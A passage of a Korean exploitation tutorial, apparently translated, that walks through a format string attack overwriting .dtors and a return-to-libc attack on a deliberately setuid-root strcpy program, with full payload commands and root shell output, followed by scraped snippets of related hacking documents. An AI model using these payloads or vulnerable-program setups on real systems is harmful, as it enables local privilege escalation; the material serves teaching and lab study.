25 주소를포맷스트링으로설정해야한다. 이를위해 DTOR_END 의주소를두부분으로나누어쓰는데, 주소의낮은전반부 (lowest half) 를먼저, 나머지후반부 (highest half) 를그다음으로쓴다. 0x <---= lowest 0x x <---= highest 이것은포맷스트링의시작부분이다음과같다는것을의미한다. "\x04\x95\x04\x08\x06\x95\x04\x08" 포맷스트링공격에서다소복잡한계산을하게되는데, 이를위해 pcalc 라는프로그램을원본에서 사용하고있다. 그래서이것을사용해보기로하겠다. 다운부터설치및사용까지의과정을제공한다. fsb]$ wget tar.gz --07:38: => `pcalc-000.tar.gz' Resolving 완료. Connecting to connected. HTTP 요청을보냅니다, 서버로부터의응답을기다림 OK 길이 : 103,437 [application/x-tar] 100%[============================================================================== ======>] 103, K/s ETA 00:00 07:38:28 (6.79 KB/s) - `pcalc-000.tar.gz' 가보존되었습니다 [103437/103437] [poc@localhost fsb]$ tar xvfz pcalc-000.tar.gz pcalc-000/discaimer pcalc-000/example pcalc-000/makefile pcalc-000/readme pcalc-000/convert.c

26 pcalc-000/convert.h pcalc-000/funct.c pcalc-000/help.c pcalc-000/help.h pcalc-000/hocdecl.h pcalc-000/math.c pcalc-000/pack pcalc-000/pcalc pcalc-000/pcalc.c pcalc-000/pcalc.h pcalc-000/pcalc.lsm pcalc-000/pcalc.mak pcalc-000/pcalc.map pcalc-000/pcalc.old pcalc-000/pcalc.tab.c pcalc-000/pcalc.tab.h pcalc-000/pcalc.txt pcalc-000/pcalc.y pcalc-000/pcalcl.c pcalc-000/pcalcl.l pcalc-000/print.c pcalc-000/print.h pcalc-000/ptest/ pcalc-000/ptest/pcalc.001 pcalc-000/ptest/pcalc.002 pcalc-000/ptest/pcalc.003 pcalc-000/ptest/pcalc.004 pcalc-000/ptest/pcalc.005 pcalc-000/ptest/pcalc.006 pcalc-000/ptest/pcalc.007 pcalc-000/ptest/pcalc.008 pcalc-000/ptest/pcalc.009 pcalc-000/ptest/pcalc.010 pcalc-000/ptest/pcalc.011 pcalc-000/ptest/pcalc.var pcalc-000/skelcom.h

27 pcalc-000/skeleton.c pcalc-000/skeleton.h pcalc-000/store.c pcalc-000/store.h pcalc-000/str.c pcalc-000/str.h pcalc-000/symbol.c pcalc-000/symbol.h pcalc-000/testdat pcalc-000/testdata pcalc-000/testorig pcalc-000/win32/ pcalc-000/win32/demo.bat pcalc-000/win32/makeall.bat pcalc-000/win32/makesed.bat pcalc-000/win32/ready.bat pcalc-000/win32/tst.bat pcalc-000/win32/pcalc.exe fsb]$ cd pcalc-000 pcalc-000]$ make cc -c -o pcalc.o pcalc.c flex -opcalcl.c pcalcl.l "pcalcl.l", line 290: warning, rule cannot be matched cc -c pcalcl.c -o pcalcl.o pcalcl.l:506:2: warning: no newline at end of file cc -c -o funct.o funct.c cc -c -o math.o math.c cc -c -o symbol.o symbol.c cc -c -o help.o help.c cc -c -o store.o store.c cc -c -o print.o print.c cc -c -o str.o str.c cc -c -o convert.o convert.c cc pcalc.o pcalcl.o funct.o math.o symbol.o help.o store.o print.o str.o convert.o -o pcalc -lm pcalc-000]$

28 다시공격과정으로돌아가자. 먼저 eggshell 을실행해서환경변수에등록된쉘코드의주소를다시확인한다. fsb]$./eggshell Using address: 0xbffff988 fsb]$ 이제쉘코드의주소에대해필요한계산을한다. fsb]$ cd pcalc-000 pcalc-000]$./pcalc 0xf xf988 0y pcalc-000]$./pcalc 0xf xf980 0y pcalc-000]$./pcalc 0x1bfff-0xf xc677 0y pcalc-000]$ cd.. 다음은공격스트링을설정할차례이다. fsb]$ printf "\x04\x95\x04\x08\x06\x95\x04\x08" > fmt fsb]$ pcalc-000]$ cd.. fsb]$ echo -n "%.63872u%3\$hn" >> fmt fsb]$ echo -n "%.50807u%4\$hn" >> fmt 마지막으로공격을시도한다. fsb]$./vul `cat fmt` 중략

29 sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# root 쉘을획득했다. 공격과정에서설명이필요한부분이쉘코드의주소의전반부 (lowest half) 0xf988에서 8바이트를뺀것인데, 이것은 DTOR_END의주소값을처리한 "\x04\x95\x04\x08\x06\x95\x04\x08" 이 %hn에의해쓰여지기때문이다. 이것은 0x 에쉘코드의주소의전반부인 0xf988를쓰게된다. 다음후반부 (highest half) 는 0x 에쓰여질것이다. 이것은 DTOR_END의주소전체를마저덮어쓰게된다. e: Return-to-libc exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 취약한프로그램은다음과같으며, 테스트를위해기본적인설정을한다. rtl]# cat > vul.c #include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX 768 int vector(char *buffer, char *ptr) { strcpy(buffer, ptr);

30 return EXIT_SUCCESS; } int main(int argc, char **argv) { char pattern[max]; vector(pattern, argv[1]); fprintf(stdout, "Pattern: %s\n", pattern); return EXIT_SUCCESS; } [root@localhost rtl]# gcc -o vul vul.c [root@localhost rtl]# chown root vul [root@localhost rtl]# chgrp root vul [root@localhost rtl]# chmod 4755 vul [root@localhost rtl]# ls -l vul -rwsr-xr-x 1 root root 월 11 11:34 vul [root@localhost rtl]# su poc [poc@localhost rtl]$ Return-to-libc 공격은 non-executable stack을극복하기위해나온것이다. Return-to-libc 공격에도다양한기법들이있지만원문에되도록이면충실하고자한다. 여기서우리의목표는 libc 함수인 strcpy() 를이용해쉘코드의주소를취약한프로세스 ( 프로그램 ) 의.data 섹션으로복사하여쉘코드를실행하게하는것이다. 먼저 eggshell을이용하여환경변수에쉘코드를등록시키고, 그주소를확인한다. [poc@localhost rtl]$./egg Using address: 0xbffff9e8 [poc@localhost rtl]$ 다음단계는취약한프로세스로부터 strcpy() 의.plt 엔트리를확인하는것이다..plt 엔트리는다음과 같이간단히확인할수있다. [poc@localhost rtl]$ readelf -a./vul grep strcpy c R_386_JUMP_SLOT c4 strcpy

31 6: c4 48 FUNC GLOBAL DEFAULT UND (2) 74: c4 48 FUNC GLOBAL DEFAULT UND rtl]$ strcpy() 의.plt 엔트리는 0x080482c4 임을알수있다. 다음으로우리가할것은프로세스 내로부터.data 섹션의주소를확인하는것이다. 이역시간단하게알아낼수있다. rtl]$ readelf -a./vul grep.data [14].rodata PROGBITS A [15].data PROGBITS c 00044c 00000c 00 WA interp.note.ABItag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.text.fini.rodata 03.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss 64: c 0 NOTYPE WEAK DEFAULT 15 data_start 66: NOTYPE GLOBAL DEFAULT ABS _edata 70: c 0 NOTYPE GLOBAL DEFAULT 15 data_start [poc@localhost rtl]$.data 섹션의주소는 0x c 임을확인했다. 이제공격만남았다. [poc@localhost rtl]$./vul `perl -e 'print "A"x768,"\xc4\x82\x04\x08HACK\x4c\x94\x04\x08\xe8\xf9\xff\xbf"'` Pattern: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHACK 樂? sh-2.05b# id

32 uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# 성공했다. 여기서는쉘코드를사용했지만쉘코드를사용하지않고도공격에성공할수있다. 이를위해서는 system(), printf() 등의라이브러리함수의주소를연결해서사용해야한다. 특히 non-executable stack의경우더욱더그러하다. Return-to-libc 공격에서중요한것은 **argv에관련된메모리의배치이다. 왜냐하면 Return-to-libc 공격의기본은 **argv에관련된메모리의배치를잘따라가는것이기때문이다. 다음레이아웃을보자. Example: buffer dummy ebp eip argv[0] argv[1]... system() JUNK ENV ptr ENV ptr는환경변수에등록되어있는 /bin/sh을가리키는문자열에대한포인터가될것이다. 이것은 gdb를통해쉽게파악할수있는데, 이에대한것은역자가발표한 Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique( 라는글의 3.2. First Way To Get Over the Classical return-into-libc and system() 섹션을참고하길바란다. IV. Summary ~~~~~~~~~~~ V. References ~~~~~~~~~~~~~~ Articles: ~~~~~~~~~ Smashing The Stack For Fun And Profit

33 Advances in format string exploitation w00w00 heap exploitation Vudo malloc tricks Once upon a free() Advanced return-into-lib(c) exploits Bypassing StackGuard and StackShield Stack & Format vulnerabilities Tools: ~~~~~~ pcalc

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

½½¶óÀ̵å Á¦¸ñ ¾øÀ½

½½¶óÀ̵å Á¦¸ñ ¾øÀ½ 최신해킹공격방법의이해 2002. 6. 조용상 oxffffff@hackerslab.org Hackerslab / Intelligence 팀 목차 공격방법의변천시기불일치현상기술관점에따른공격기법 Scanning software 구현상의오류를이용한공격 Buffer Overflow 악의적인공격행위 공격방법의변천 제 1 시기 Password 수작업추측 Password

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

